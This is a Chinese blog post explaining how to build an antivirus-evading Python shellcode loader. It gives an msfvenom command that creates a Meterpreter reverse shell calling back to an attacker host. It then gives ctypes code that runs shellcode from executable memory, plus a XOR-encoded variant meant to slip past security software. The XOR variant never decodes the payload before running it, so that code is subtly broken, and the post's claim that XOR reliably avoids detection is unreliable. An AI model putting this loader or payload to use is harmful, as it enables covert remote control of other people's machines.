Python实现免杀Shellcode加载器编写

Dantiao搞安全

已于 2022-12-11 02:59:55 修改

阅读量965

点赞数

文章标签：网络 python

于 2022-12-11 02:49:59 首次发布

本文链接：https://blog.csdn.net/m0_56187372/article/details/128271427

版权

在渗透测试和攻击防御中，Shellcode是一种常见的技术手段。Shellcode通常用于在攻击者控制的环境中执行恶意代码，实现对操作系统内核的控制。然而，由于Shellcode的特殊性质，通常会被安全软件检测并阻止。因此，攻击者需要通过免杀技术来避免安全软件的检测，从而实现对目标系统的控制。

Python是一种流行的编程语言，可以用于实现各种功能。在本文中，我们将使用Python来实现免杀加载Shellcode的方法。首先，我们需要获取需要执行的Shellcode。通常，我们可以使用metasploit等工具生成Shellcode，并将其转换为字节序列。例如，我们可以使用以下命令生成一段Windows x86 Shellcode：

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f python

我们可以使用Python的ctypes库来加载并执行Shellcode。首先，我们需要创建一个内存空间来存储Shellcode，然后使用ctypes库中的memmove函数将Shellcode复制到该空间中。最后，我们可以调用ctypes库中的CreateThread函数，创建一个新线程来执行Shellcode。代码示例如下：

from ctypes import *

# 获取需要执行的Shellcode
shellcode = b""

# 创建内存空间并复制Shellcode
ptr = c_void_p(0)
size = len(shellcode)
VirtualAlloc = windll.kernel32.VirtualAlloc
VirtualAlloc.restype = POINTER(c_void_p)
ptr = VirtualAlloc(c_int(0),c_int(size),c_int(0x3000),c_int(0x40))
memmove(ptr, shellcode, size)

# 创建线程并执行Shellcode
thread_id = c_ulong(0)
shellcode_addr = c_void_p(ptr)
CreateThread = windll.kernel32.CreateThread
CreateThread.restype = POINTER(c_void_p)
h_thread = CreateThread(c_int(0),c_int(0),shellcode_addr,c_int(0),c_int(0),pointer(thread_id))

# 等待线程结束
WaitForSingleObject = windll.kernel32.WaitForSingleObject
WaitForSingleObject(c_int(h_thread), c_int(-1))

当然上面的是最简单的实现方法，下面我们加强难度！
在实现免杀加载Shellcode时，除了使用Python进行代码编写外，还可以使用其他技术来避免安全软件的检测。例如，可以使用加密、混淆等手段来提高Shellcode的难度，从而避免被安全软件识别。

下面是一个示例代码，使用XOR加密对Shellcode进行加密，并使用Python实现免杀加载：

from ctypes import *

# 获取需要执行的Shellcode
shellcode = b""

# 使用XOR加密对Shellcode进行加密
key = b"\x01\x02\x03\x04\x05"
enc_shellcode = b""
for i in range(0, len(shellcode)):
    enc_shellcode += bytes([shellcode[i] ^ key[i % len(key)]])

# 创建内存空间并复制加密后的Shellcode
ptr = c_void_p(0)
size = len(enc_shellcode)
VirtualAlloc = windll.kernel32.VirtualAlloc
VirtualAlloc.restype = POINTER(c_void_p)
ptr = VirtualAlloc(c_int(0),c_int(size),c_int(0x3000),c_int(0x40))
memmove(ptr, enc_shellcode, size)

# 创建线程并执行Shellcode
thread_id = c_ulong(0)
enc_shellcode_addr = c_void_p(ptr)
CreateThread = windll.kernel32.CreateThread
CreateThread.restype = POINTER(c_void_p)
h_thread = CreateThread(c_int(0),c_int(0),enc_shellcode_addr,c_int(0),c_int(0),pointer(thread_id))

# 等待线程结束
WaitForSingleObject = windll.kernel32.WaitForSingleObject
WaitForSingleObject(c_int(h_thread), c_int(-1))

通过使用XOR加密，可以较好地避免安全软件的检测。但是，不同的安全软件可能采用不同的检测算法，因此，在实际使用时，还需要根据实际情况调整免杀策略。

留言互动